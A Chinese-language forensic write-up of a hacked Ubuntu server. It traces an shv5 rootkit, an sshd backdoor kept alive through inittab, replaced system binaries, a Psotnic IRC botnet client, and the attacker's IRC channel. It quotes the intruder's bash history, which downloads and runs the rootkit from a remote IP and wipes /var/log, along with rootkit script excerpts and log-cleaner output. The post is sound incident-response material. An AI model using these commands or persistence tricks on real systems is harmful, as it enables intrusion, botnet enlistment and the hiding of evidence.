最近有個朋友讓我去幫他看一下他的linux伺服器.說是apache啟動不了,有很多詭異的情況.後來證明絕不是apache啟動不了這麼簡單.
登上伺服器之後隨便看了下,最先引起我注意的是”ls”命令的輸出:
1 2 3 |
lars@server1:~$ ls ls: invalid option -- h Try `ls --help' for more information. |
為什麼”ls”預設加了”-h”引數呢?我用”alias”命令看了一下,然後取消了這個別名之後”ls”就工作正常了.
1 2 3 4 5 6 |
lars@server1:~$ alias ls alias ls='ls -sh --color=auto' lars@server1:~$ unalias ls lars@server1:~$ ls backup lars@server1:~$ |
雖然很奇怪,不過我的首要任務是先把apache啟動起來,等過會再仔細研究這個問題.
1 2 3 4 5 6 |
lars@server1:~$ sudo /etc/init.d/apache2 start Password: * Starting apache 2.0 web server... (2): apache2: could not open error log file /var/log/apache2/error.log. Unable to open logs ...fail! |
納尼?趕緊去”/var/log/”目錄一看,果然”apache2/”資料夾不見了.而且這個目錄下其他的資料夾,比如”mysql/”,”samba/”也都不見了.一定是哪裡出錯了.會不會是我朋友不小心刪掉了呢,他跟我說絕對沒有.然後我用root登入進去準備修復日誌丟失的問題.
1 2 3 4 5 6 7 8 9 |
lars@server1:~$ sudo -i Password: root@server1:~# ls ls: unrecognized prefix: do ls: unparsable value for LS_COLORS environment variable total 44 4 . 4 .bashrc 4 .ssh 4 .. 4 .lesshst 8 .viminfo 8 .bash_history 4 .profile 4 .vimrc |
很不幸的發現,”ls”又出問題了.同樣,用”alias”命令:
1 2 3 4 5 |
root@server1:~# alias ls alias ls='ls -sa --color=auto' root@server1:~# unalias ls root@server1:~# ls root@server1:~# |
這個時候,我才意識到問題的嚴重性.”ls”奇怪的舉動和”/var/log/”大量日誌被刪除讓我懷疑伺服器是否被入侵了.當我看到root目錄下的”.bash_history”時,就已經可以確定被入侵了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
root@server1:~# cat -n .bash_history ... 340 w 341 cd /var 342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz 343 tar -zxf shv5.tar.gz 344 rm -rf shv5.tar.gz 345 mv shv5 .x 346 cd .x 347 ./setup zibi.joe.149 54098 348 passwd 349 passwd 350 ps aux 351 crontab -l 352 cat /etc/issue 353 cat /etc/passwd 354 w 355 who 356 cd /usr/lib/libsh 357 ls 358 hide + 359 chmod +x hide 360 hide + 361 ./hide + 362 cd /var/.x 363 mkdir psotnic 364 cd psotnic 365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 366 tar -zxf psotnic0.2.5.tar.gz 367 rm -rf psotnic0.2.5.tar.gz 368 ls 369 mv psotnic-0.2.5-linux-static-ipv6 synscan 370 ./synscan 371 vi conf 372 vi conf1 373 mv synscan smbd 374 smbd -c conf 375 ls 376 ps aux 377 ls 378 ./smbd -c conf 379 ./smbd -c conf1 380 ./smbd conf 381 ./smbd conf1 382 ./smbd -a conf conf1 383 rm -rf conf.dec 384 rm -rf conf1.dec 385 cd /usr/lib/libsh 386 ./hide + 387 exit ... 425 ssh ftp@62.101.251.166 426 w 427 ls 428 ls 429 cd /var/.x 430 ls 431 cd psotnic/ 432 ls 433 rm -rf /var/log/* 434 exit 435 ls 436 cd /var/.x/psotnic/ 437 ls 438 vi conf2 439 ./smbd -c conf2 440 ./smbd conf2 441 ./smbd -a conf conf1 conf2 442 rm -rf conf2.dec 443 cd .. 444 ls 445 cd /usr/lib/libsh 446 hide + 447 ./hide + 448 exit 449 ps aux 450 cd /var/.x 451 ls 452 ls 453 cd psotnic/ 454 ls 455 cat pid.MastaH 456 kill -9 2030 457 ./synscan -a conf conf1 458 ./smbd -a conf conf1 459 cd /usr/lib/libsh 460 ./hide + |
Woht!這個系統已經被入侵了.這實在是令人激動的一件事情,不過很顯然,我的朋友不這麼想.這個入侵者犯了一個很基本的錯誤,沒有清除”.bash_history”檔案.所以他/她可能在其他的地方也留下了一些蛛絲馬跡.接下來就是詳細的分析一下這次入侵.
通過bash history我們得到了大量的資訊.先來看一下”/var/.x”下面隱藏了什麼和命令”setup zibi.joe.149 54098″的作用吧.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
root@server1:/var/.x# file setup setup: Bourne-Again shell script text executable root@server1:/var/.x# wc -l setup 825 setup root@server1:/var/.x# head -17 setup #!/bin/bash # # shv5-internal-release # by: PinT[x] April/2003 # # greetz to: # # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 # C00L|0, GolDenLord, Spike, zion ... # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ... # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ... # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc.. # [*] And all others who diserve to be here but i forgot # [*] them at the moment ! # # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ ! |
“setup”這個指令碼是rootkit shv5的安裝指令碼.它安裝了一個修改過的ssh後門–”/bin/ttyload”,然後把它加到了”/etc/inittab”,這樣每次重啟後就會自動啟動.(相關部分的指令碼如下:)
1 2 3 4 5 6 7 8 9 10 11 12 13 |
mv $SSHDIR/sshd /sbin/ttyload chmod a+xr /sbin/ttyload chmod o-w /sbin/ttyload touch -acmr /bin/ls /sbin/ttyload chattr +isa /sbin/ttyload kill -9 `pidof ttyload` >/dev/null 2>&1 .... # INITTAB SHUFFLING chattr -isa /etc/inittab cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1 cat /etc/inittab |grep getty > /tmp/.init2 echo "# Loading standard ttys" >> /tmp/.init1 echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1 |
它也替換了一些linux的標準命令.
1 2 3 4 5 6 7 8 9 10 |
# Backdoor ps/top/du/ls/netstat/etc.. cd $BASEDIR/bin BACKUP=/usr/lib/libsh/.backup mkdir $BACKUP ... # ls ... chattr -isa /bin/ls cp /bin/ls $BACKUP mv -f ls /bin/ls chattr +isa /bin/ls |
這樣子就可以解釋為什麼”ls”命令輸出那麼奇怪了.
“.backup”資料夾儲存了被替換之前的命令程式.
1 2 3 4 5 6 7 8 9 10 |
root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/ total 552 -rwxr-xr-x 1 root root 126276 Dec 24 22:58 find -rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig -rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls -rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum -rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat -rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps -rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree -rwxr-xr-x 1 root root 50180 Dec 24 22:58 top |
看了一下時間戳,居然是在聖誕節.
很顯然,原始的”ls”和後門安裝的”ls”是不一樣的.他們的md5對比如下:
1 2 3 4 5 6 7 8 9 10 11 |
root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls 0a07cf554c1a74ad974416f60916b78d /bin/ls root@server1:~# file /bin/ls /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped root@server1:~# file /usr/lib/libsh/.backup/ls /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), for GNU/Linux 2.6.0, stripped |
這個rootkit(“sh5.tar.gz”)是從下面的地址下載的.
1 2 |
root@server1:~# dig +short -x 83.19.148.250 4lo.bydg.pl. |
這是一個波蘭的ip,從這個ip上沒有得到更多的資訊.不過這個入侵者依然犯了幾個嚴重的錯誤.
這是執行”setup”命令的截圖:(在伺服器上的沙盒裡執行的)
所以”zibi.joe.149″是後門的密碼,”54098″是埠號.這是一個來自ssh.com的就版本的sshd.測試截圖如下:
安裝完後門之後,下一個步驟就是裝一個irc-bot,讓伺服器變成殭屍網路中的一員.”psotnic0.2.5.tar.gz”就是來達到這個目的的.入侵者解壓這個包之後把 irc-bot重新命名為”smbd”,來達到隱藏的目的.
然後,他建立了兩個配置檔案.檔案中包含irc伺服器和需要加入的頻道.配置檔案是加密過的,而且明文的配置檔案被刪掉了.
1 2 3 4 5 6 7 8 |
371 vi conf 372 vi conf1 .... 378 ./smbd -c conf 379 ./smbd -c conf1 380 ./smbd conf 381 ./smbd conf1 382 ./smbd -a conf conf1 |
讓我們執行一下382這條命令,看看會發生什麼.
1 2 3 4 5 6 7 8 |
root@server1:/var/.x/psotnic# ./smbd -a conf conf1 Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) Copyright (C) 2003-2005 Grzegorz Rusin [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 [+] Added 2 psotnics to cron |
哇!它新增了cron定時任務.趕緊看一看:
1 2 3 |
root@server1:/var/.x/psotnic# crontab -l */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 |
接下來,我殺掉這兩個惡意的smbd程式,禁用cron任務.在另一個shell中執行了tcpdump,然後手動啟動了這兩個irc-bot程式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
root@server1:~# cd /var/.x/psotnic; ./smbd conf Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) Copyright (C) 2003-2005 Grzegorz Rusin [*] Acting as LEAF [+] Config loaded [+] Going into background [pid: 5724] root@server1:/var/.x/psotnic# ./smbd conf1 Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) Copyright (C) 2003-2005 Grzegorz Rusin [*] Acting as LEAF [+] Config loaded [+] Going into background [pid: 5727] root@server1:/var/.x/psotnic# |
用”ps”命令(後門替換過的)可以看到這兩個程式.這也是為什麼入侵者需要通過改名字來隱藏程式.
1 2 3 4 5 |
root@server1:/var/.x/psotnic# ps axuw | grep smb root 3799 0.0 0.4 8592 2156 ? S 11:00 0:00 /usr/sbin/smbd -D root 3808 0.0 0.1 8592 896 ? S 11:00 0:00 /usr/sbin/smbd -D root 5724 0.0 0.1 1648 772 pts/2 S 12:47 0:00 ./smbd conf root 5727 0.0 0.1 1640 764 pts/2 S 12:47 0:00 ./smbd conf1 |
最開始兩個是真正的samba程式,後面兩個是irc-bot,讓我們用”strace”命令來看看它做了什麼:
1 2 3 4 5 |
root@server1:~# strace -p 5727 ... connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress) ... connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress) |
可以看到它嘗試連線ip 83.18.74.235的9714埠和195.159.0.92的6667埠:
1 2 3 4 |
root@server1:~# dig +short -x 83.18.74.235 manhattan.na.pl. root@server1:~# dig +short -x 195.159.0.92 ircnet.irc.powertech.no. |
又是一個波蘭的ip.另外一個ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的別名.是挪威一個著名的irc伺服器.
tcpdump抓到了連線irc伺服器的流量.正如下面的內容顯示,它連線到了”irc.powertech.no”,加入了”#aik”頻道.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no :irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1 :578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik :irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo :irc.powertech.no 366 578PAB9NB #aik :End of NAMES list. :irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW :irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW :irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW :irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW :irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW :irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW :irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW :irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet.. :irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW :irc.powertech.no 315 578PAB9NB #aik :End of WHO list. 這些僅僅是加入#aik頻道,並開始監聽該頻道所有成員的一些原始網路流量.我決定自己進入這個頻道看看.令我驚訝的是不需要任何密碼我就進來了. 17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik 17:43 [Users #aik] 17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo ] 17:43 [ brandyz ] [ IpaL] [ kknd] [ viper42] [ xerkoz] 17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal] 17:43 -!- Irssi: Join to #aik was synced in 1 secs |
我發現我朋友的伺服器使用的暱稱是”578PQB9NB”,還有一些其他的伺服器也在這裡.這些殭屍伺服器應該是正在等待著我們的入侵者加入頻道釋出命令.或者他已經潛藏在這裡了.我注意到,所有的暱稱都有一個字尾”\*-GTW”,只有一個沒有:
1 2 3 4 5 |
17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at] 17:45 [powertech] -!- ircname : LaPi@IRCNet 17:45 [powertech] -!- channels : #relaks #ping @#seks #aik @#ogame.pl #pingwinaria #hattrick #trade #admin @#!sh 17:45 [powertech] -!- server : *.at [\o\ \o/ /o/] |
這是唯一一個加入了多個頻道的暱稱.我猜我已經找到這個入侵者了,除非這是一個故意迷惑的誘餌.(恩,這個入侵者真的真麼笨!!這麼容易就找到了!?).我決定等幾天看看有木有什麼有趣的事情發生.這個域名解析到了:
1 2 |
$ dig +short campus19.panorama.sth.ac.at 193.170.51.84 |
根據RIPE的資料,這個ip屬於Vienna University計算機中心,我發了一封郵件詢問關於這個域名的資訊,他們幾個小時後會我了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
From: Alexander Talos via RT To: larstra@ifi.uio.no Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84) [ACOnet CERT #38603] Date: Fri, 18 May 2007 18:22:43 +0200 (CEST) Reply-To: cert@aco.net -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hej! On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote: > I have been tracking down cracker which connected from > campus19.panorama.sth.ac.at (193.170.51.84). The user, which Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all behind a NAT gateway - it will be very hard to get hold of the miscreant. This incident will, in the long run, definitely help me getting rid of the NAT boxes in setups like that, but right now, we will have to make do with what we have. > Please investigate the host in question. Perhaps is this a > compromised host on your network acting as a jumpstation for Sure, and even in a NATed environment, this is still possible. Btw, you did a great job in analysing the compromised machine! I'll let you know when I have either further questions or any interesting results. Cheers, Alexander Talos - -- IT-Security, Universitaet Wien, ACOnet CERT T: +43-1-4277-14351 M: +43-664-60277-14351 |
看起來我不夠幸運.
接下來我曾嘗試連線irc頻道里其他殭屍主機的 54098埠,可惜都失敗了.看來其他的殭屍主機的後門可能使用的是別的埠.
連線到”83.18.74.235″的流量看起來很混亂.只好再次用strace命令:
1 |
root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace |
跟預期的一樣,有很多輸出,其中一個是它嘗試啟動”BitchX”,這是一個irc客戶端.但是失敗了,因為BitchX沒有安裝:
1 2 3 4 |
[pid 7537] write(2, "sh: ", 4) = 4 [pid 7537] write(2, "BitchX: not found", 17) = 17 [pid 7537] write(2, "n", 1) = 1 [pid 7537] close(2) = 0 |
下面的截圖是tcpdump抓到流量的一部分:
這僅僅是兩個假的smbd程式中的一個.另外一個也連到了兩個irc伺服器,一個是波蘭這個,另外一個是”irc.hitos.no”,位於挪威的特羅姆斯郡.
入侵者除了這些,還執行了一個叫”hide”的指令碼來清除日誌:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
root@server1:/usr/lib/libsh# ./hide + Linux Hider v2.0 by mave enhanced by me! [+] [Shkupi Logcleaner] Removing + from the logs........ . [+] /var/log/messages ... [done] [+] /var/run/utmp ... [done] [+] /var/log/lastlog ... [done] [+] /var/log/wtmp ... [done] * m i s s i o n a c c o m p l i s h e d * p.h.e.e.r S.H.c.r.e.w |
那麼這個入侵者為什麼還要把”/var/log/”目錄全刪除了呢,是不相信這個工具麼?還是他特別害怕?
可以看到這個伺服器被入侵了,安裝了後門而且加入了殭屍網咯.但是入侵者犯了幾個錯誤導致他可能被偵查到:
1, 忘記清除”.bash_history”檔案
2, “/var/log”目錄下所有檔案都刪除了.導致某些程式無法啟動.很容易被發現.
3, 修改了root的密碼.又是一個愚蠢的行為.永遠不要修改root密碼,這個必然會引起管理員的注意.
4, irc的頻道沒有密碼保護.雖然即使有密碼,我們也可以抓包分析出來.
5, 入侵者平時就在殭屍網路的頻道閒逛?如果是這樣的話那他已經暴露了.
當然還有幾個遺留的問題:
1,”ssh ftp@62.101.251.166″ 這個命令是幹嘛的.是入侵者不小心敲錯了麼還是有其他的目的?
1 2 |
$ dig +short -x 62.101.251.166 cA6FB653E.dhcp.bluecom.no. |
2,跟83.18.74.235(manhattan.na.pl)的通訊內容是什麼?
3,最重要的問題是他一開始是如何或得下系統的許可權的?這個伺服器執行的是Ubuntu 6.06 LTS,打了最新的補丁.可能入侵的途徑:
*猜測root密碼,不幸的是這個密碼是強密碼*
*未知的exploit*
*某個使用者在已經被攻陷的主機上登入這臺伺服器.入侵者嗅探到了密碼.*